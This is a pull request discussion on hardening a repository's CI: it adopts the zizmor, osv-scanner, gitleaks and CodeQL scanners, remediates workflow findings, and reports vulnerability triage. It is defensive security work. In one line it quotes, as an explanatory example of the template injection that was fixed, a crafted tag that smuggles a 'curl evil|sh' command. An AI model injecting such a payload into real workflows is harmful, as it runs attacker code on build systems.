Adopt zizmor, osv-scanner, gitleaks and CodeQL security scanners - #5616
Conversation
cert_tests.go never matched go test's _test.go convention, so TestFetchCertAuth compiled into the production package (dragging testing/httptest along) and never ran. Renamed to cert_test.go and updated the request to the current extractCerts contract: cert and certKey as form fields rather than a raw cert:key body. Replaced t.Fail() with t.Fatal on setup errors — the old flow continued past a nil result and segfaulted once the test actually executed.
make audit gains three modifiers alongside frontend/backend:
actions zizmor over .github/workflows (online via gh token when
available, offline otherwise)
packages osv-scanner in one pass over every lockfile and go.mod,
including website/ and tools/stb which bun audit missed
secrets gitleaks over the working tree
Default make audit now runs all five. outdated keeps its
frontend+backend default. .gitleaks.toml allowlists reviewed
non-secrets: the published dev encryption key, build output, the
committed localhost TLS pair, legacy deploy samples, and jetstream
test fixtures.
Remediates all 143 findings from the new make audit actions scan (zizmor, adopted in the previous commit): - unpinned-uses: every action pinned to a commit SHA with its version tag in a trailing comment. container-push's stale checkout@v3 and login-action@v2 normalized to the same majors used everywhere else (v4/v3). - template-injection: version tags, dispatch inputs and other expressions now pass through step env instead of interpolating into run scripts. - excessive-permissions: every workflow declares least-privilege top-level permissions; write scopes (packages, pages/id-token, contents, actions) move to the jobs that need them. pr.yml and stb_tests keep pull-requests: read for dorny/paths-filter. - artipacked: persist-credentials: false on all 18 checkouts; nothing pushes via git credentials. - cache-poisoning: the release build job opts out of setup-bun and setup-go caching so a poisoned cache can't reach published artifacts. The setup-node hit is a false positive (no cache: input set) and carries an inline ignore with the reason. - superfluous-actions: softprops/action-gh-release and actions/github-script replaced with gh release create (--verify-tag, so a typo'd dispatch version fails instead of minting a tag) and gh workflow run — two fewer third-party actions on the release path. zizmor now reports zero findings in both offline and online modes.
Adopt CodeQL for Go and JavaScript/TypeScript, the last scanner named in 5611. Runs on push/PR to develop and main plus a weekly schedule, using build-free extraction for both languages. Uploads to the code-scanning tab. Completes the 5611 scanner set alongside zizmor, osv-scanner and gitleaks.
|
You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool. What Enabling Code Scanning Means:
For more information about GitHub Code Scanning, check out the documentation. |
Go has no build-free extraction mode in CodeQL; the initial build-mode: none failed init. autobuild resolves src/jetstream/go.mod on its own.
|
Baseline from running the full Dependency advisories (CVE/CVSS severity)bun, osv-scanner and trivy all rate on the standard CVE severity scale, so they tally together:
Code-level scanners (different rating axes — can't share the table above)
Actions & secrets — clean
CodeQL ( Build tooling vs. shipped code. Most of the volume never ships: bun's 32 and 47 of osv's 73 sit in the frontend build chain, the Dependabot on develop — stale branch vs. current tree
The 250-alert drop is dependency bumps already merged to develop, surfaced by bringing the branch current — not a change in this PR (which touches no lockfiles). Recorded to show the tree's real state against the stale figure. Footnotes
|
govulncheck detail — 8 reachable (the act-first list)These are the only findings on reachable call paths in shipped jetstream code, so they're the ones worth triaging first. All in backend Go.
Triage read:
So the realistic near-term reduction is 8 → 4 (Go bump + archiver removal), with the containerd three gated on upstream. |
Part of #5611.
Adopts three of the four scanners proposed there and fixes everything the new workflow scan found. CodeQL is the remaining item on that issue — it needs its own workflow and repo settings, so it stays open for a follow-up.
New scanners in
make auditmake audit actionsmake audit packageswebsite/andtools/stbwhichbun audit(root-only) missedmake audit secretsPlain
make auditnow runs all five scanners (the three above plus the existing frontend/backend ones). Each modifier still runs standalone. The zizmor recipe uses aghtoken when one is available so the online audits (impostor commits, known-vulnerable actions) run too, and falls back to--offlineotherwise..gitleaks.tomlallowlists the reviewed non-secrets: the published dev encryption key from the sample configs, build output (dist/,.angular/), the committed localhost TLS pair, legacy deploy samples, and jetstream test fixtures. Current state: no leaks reported.Workflow hardening
The first zizmor run reported 143 findings (79 high) across the 8 workflows; this PR fixes them all — it now reports zero in both offline and online modes.
checkout@v3/login-action@v2were normalized to the same majors used elsewhere (v4/v3).env:instead of interpolating intorun:scripts (a crafted tag likev1.0.0"; curl evil|shwould previously have executed on the release and docker paths).contents: read; write scopes moved to the jobs that need them (packages: writeon the docker build jobs,pages/id-tokenon the Pages deploy job,contents: writeon release creation,actions: writeon the docker trigger).pr.ymlandstb_tests.ymlkeeppull-requests: readfor dorny/paths-filter.persist-credentials: falseon all 18 checkouts — no job pushes via git credentials.cache:input is set) and carries an inline ignore with the reason.softprops/action-gh-release→gh release create(with--verify-tag, so a typo'd manual dispatch fails instead of minting a new tag from the default branch), andactions/github-script→gh workflow run.Drive-by fix
src/jetstream/plugins/kubernetes/auth/cert_tests.go(flagged by gitleaks for its fixture key) turned out to be a misnamed test file: it never matched the_test.goconvention, soTestFetchCertAuthcompiled into the production package and never ran. Renamed tocert_test.goand updated to the currentextractCertscontract (form fields rather than a rawcert:keybody); the fixture is an expired 2018 minikube dummy cert. The test now runs and passes.Verification
zizmor .github/workflows/— no findings (offline and online)gitleaks dir .— no leaksmake check gategreenmake -nverified the new modifiers run standalone and thatmake audit/make outdated/make dumpdefaults are unchanged